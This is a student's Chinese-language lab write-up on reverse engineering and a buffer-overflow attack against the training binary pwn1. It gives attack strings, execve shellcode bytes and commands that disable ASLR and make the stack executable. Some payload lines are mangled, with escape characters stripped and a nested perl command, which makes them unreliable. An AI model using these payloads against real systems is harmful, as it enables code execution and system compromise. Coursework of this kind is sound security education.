2019-2020-3 20175103王伟泽《网络对抗技术》Exp1 PC平台逆向破解
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 注入运行任意代码。
二、基础知识
管道符|
、输入重定向>
、 追加输入>>
以及常用的linux文件操作。
实验内说明。
常用汇编语言、机器语言、EIP寄存器、指令地址。
- NOP汇编指令的机器码是“90”
- JNE汇编指令的机器码是“75”
- JE 汇编指令的机器码是“74”
- JMP汇编指令的机器码是“eb”
- CMP汇编指令的机器码是“39”
掌握反汇编与十六进制编程器
反汇编指令 objdump -d (文件名)| more
其中
objdump -d
将代码段反汇编
-d
英文全称是disassembling
,反汇编选项
|
管道符,将上一命令的输出作为下一命令的输入。
more
使文件以一页一页的形式显示,,更方便使用者逐页阅读
十六进制编辑器
学会使用gdb
、vi
操作文件或进程。
进入vim编辑器后按esc后输入 %!xxd
将显示模式切换为16进制
编辑完成后按esc后输入 %!xxd -r
将转换为原格式
按esc
后输入:wq
保存退出
gdb
于实验中说明。
三、实验内容
实验一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell
函数。
源文件中main函数调用函数为foo函数,我们直接修改该文件内容,使其调用函数改变,从而激活getshell,最简单粗暴的方式。
1.载入pwn1
,使用cp
指令生成待操作文件pwn1.cp
。
2.使用objdump -d pwn1.cp | more
对文件pwn1.cp
进行反汇编并查看。其中第一列为内存地址,第二列为机器指令,第三列为对应汇编指令。
3.因为所修改内容位于主函数,通过翻页查找到主函数所在地。通过图片可以看到,主函数main
中通过call 8048491<foo>
调用函数foo,为了使其改为调用getshell
函数,我们需要对其进行修改。该指令对应机器指令为e8 d7
,其中e8
是call
指令所对应的机器指令,d7 ff ff ff
对应的则是foo
函数的内存起始地址的补码,(该数值产生与call
指令的工作原理有关,当执行call
指令时,call
指令后的数据将与EIP中的内容相加,此处即将计算“d7ffffff+EIP”
为内存地址的指令。而在此时EIP
中存储的是下一条指令的内存地址,即80484ba+d7ffffff
,就是函数foo
所在的内存地址8048491
)因此需要对d7ffffff
进行修改。
4.经过计算器计算804847d
(getsheel
起始地址)-80484ba(EIP
值)算出补码为ffffffc3
,用该数值替换原先d7ffffff
即可。
5.接下来开始编辑可执行文件pwn1.cp
。首先使用vim
编译器打开pwn1.cp
,发现是乱码显示。
6.此处需要使用vim
的%!xxd
指令将文件转换为十六进制显示。显示完成后输入/e8 d7
查找要修改的地方(此处e8
和d7
之间需要加空格,否则无法正确查找到)。
7.根据前后文确定好修改位置,i
进入编辑模式将d7
改为c3
(此处因为该文件存储为小端存储,在实验中我曾以为错以为FFFFFFC3
大端转为小端存储时应是3CFFFFFF
,后发现结果错误,才了解学到了大端转小端是按照两个字节一组转的,组内顺序不变。)
8.将文件重新转为原本的表达方式,使用%!xxd -r
转回(如不转回原格式直接保存,运行该文件会出错)。重新对修改后文件进行反汇编验证。
9.验证成功后,执行,出现文字符,实验一成功。
实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
此处用到缓冲区溢出攻击,关键是利用数据溢出覆盖EIP,改写文件进程走向,从而执行我们想执行的内容。最重要的就是确定EIP的位置。
1.实验前准备,要下载gdb,使用指令apt-get install gdb
下载。
2.使用cp
生成pwn1
的复制pwn1.cp1
。反汇编查看结构,从该指令8d 45 e4 lea -0x1c(%ebp),%eax
发现在读入字符串时,该堆栈分配了0x1c
的空间大小,即28个字节,如果读入的字符串够大,就可覆盖到EIP进而造成缓冲区溢出攻击。main
中的call
指令调用foo
,并且在堆栈上压上返回地址80484ba
。
3.下面我们要确定输入的字符串会覆盖返回地址的位置,我们首先构建一个字符串1111111122222222333333334444444412345678
作为测试,使用指令gdb
对pwn1.cp1进行调试,输入r
运行程序,输入构造好的测试字符串,发现返回地址为34333231,而这正是1234的ASCII的值,说明返回地址在第33到36位间。
4.由之前的反汇编可得知getshell
的内存地址为0804847d,因为之前测试中1234
对应ASCII为0x34333231
,因此应把要覆盖返回地址的值设计成x7dx84x04x08
,即攻击字符串为11111111222222223333333344444444/x7d/x84/x04/x08
。因为我们无法直接通过键盘输入十六进制,这时候就需要先把该字符串使用输入重定向>
装入文件,再将文件中的内容通过cat
读出并使用管道符|
作为程序的输入。使用perl -e 'print"11111111222222223333333344444444x7dx84x04x08x0a"' >20175103
创建好文件20175103
后使用xxd
十六进制显示检查一下文件内容是否正确,指令中x0a
是回车。
5.输入(cat 20175103;cat)|./pwn1.cp1
成功得到shell。
实验三:注入一个自己制作的shellcode并运行这段shellcode。
该种思路需要用到Shellcode,shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。
攻击思路:首先将我们设计的shellcode
存入缓存区,得到shellcode
的内存地址后,使用和第二次实验一样的方法,只不过把原来getshell
的内存地址改为shellcode
的内存地址,这样就可以运行我们的shellcode了。因此,shellcode的长度一定要小于系统分配缓存区大小,即28字节。
构筑要注入的payload,在linux中有两种方法:
- retaddr+nop+shellcode(一般来说使用RNS的形式)
- nop+shellcode+retaddr(约束shellcode的大小)
选择哪种需要根据具体情况,一般说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
1.实验前准备:为了成功完成实验,我们需要关闭一些功能:包括
apt-get install execstack
安装攻击所用execstack。execstack -s pwn1
设置堆栈可执行,否则shellcode输入缓冲区将无法执行,进而不能进行该攻击。execstack -q pwn1
查询文件的堆栈是否可执行,查看之前命令是否生效。more /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭,如果地址随机化关闭,那么shellcode的内存地址将无法确定,进而无法跳转到shellcode,无法执行攻击。echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化。more /proc/sys/kernel/randomize_va_space
再次检查地址随机化是否关闭。
2.首先构造一个注入代码,并写入文件:perl -e 'print "A" x 32;print "perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > 20175103shellcode
,其中x90
是空指令,加空指令的目的就是形成一片滑行区,到时候寻找该段指令时只要看到该指令便能够找到,减小寻找shellcode
内存地址的难度。(其中结尾不可以加x0a
,因为我们需要用gdb调试进行,如果输入回车程序就直接报错了)使用(cat 20175103shellcode; cat ) | ./pwn3.cp
在一个终端输入该文件内容。
3.打开另一个终端,使用ps -ef|grep pwn3.cp
指令来寻找当前运行进程号。找到该进程号为1320
。
4.启动gdb调试该进程,输入attach 1320
调试进程,后用disassemble foo
因为直接运行会爆错,我们通加入断点来查看报错内容。使用break *0x080484ae
指令在ret处加入断点。之后在第一个终端按下回车,在第二个终端使用c
查看错误信息。使用info r esp
查看esp寄存器内信息。使用x/16x 0xffffd33c
指令查看周围内容。每次延申28个字节来查找shellcode的位置,通过x90x90x90x90
确定位置最后找到,为0xffffd340
。
5.已知shellcode内存地址,构造payload为perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > 20175103shellcode
,并将其通过之前的方法作为pwn3.cp
的输入,成功调出shell。
四、实验总结
错误总结
- 文本转化为16进制后忘记转回,导致无法运行。
- 错以为FFFFFFC8大端转为小端存储时应是8CFFFFFF,后发现结果错误,才了解学到了大端转小端是按照两个字节一组转的,组内顺序不变。
- 搜索e8d7时中间必须有空格,否则搜索不到。
- 第三次实验中的实验前准备是实时性的,在关闭后重新打开需要重新设置。
心得
-
漏洞是什么
在我看来,漏洞是一种非人愿的缺陷,我们设计出来的系统总是想百分百安全,但是总会在无论是硬件、软件或者协议上多多少少有着一些缺陷,这些缺陷可能不影响正常的使用,但如果有人不怀好意,针对这些漏洞去想办法,就可能能够达到自己的不好目的,如窃取秘密信息、破坏系统、装后门、非法访问系统等。如在本次实验中我们所利用的便是程序编程本身的漏洞,即缓冲区溢出漏洞。漏洞,尤其是未被安全人员发现的零日漏洞,可能会对系统或者程序造成巨大的破坏,并且造成大量的经济损失。 -
实验后感想
做完本次实验,回想一下过程,因为我是第一次使用Linux,第一次亲手操刀一次安全攻击,第一次发布博客,以及对之前知识的忘记,种种原因导致我本次实验前前后后共用时一周。但是这一切都非常值得。在这期间所做的努力,不仅使我对实验本身缓冲区溢出攻击的内容更加了解,同时,对如何通过向他人学习从而让自己掌握的方法也更加得心应手。此外,对于发布博客、分享自己实验的过程心得也更加娴熟;并且在实践中捡回了之前学过的理论知识。非常期待下一次实验的到来!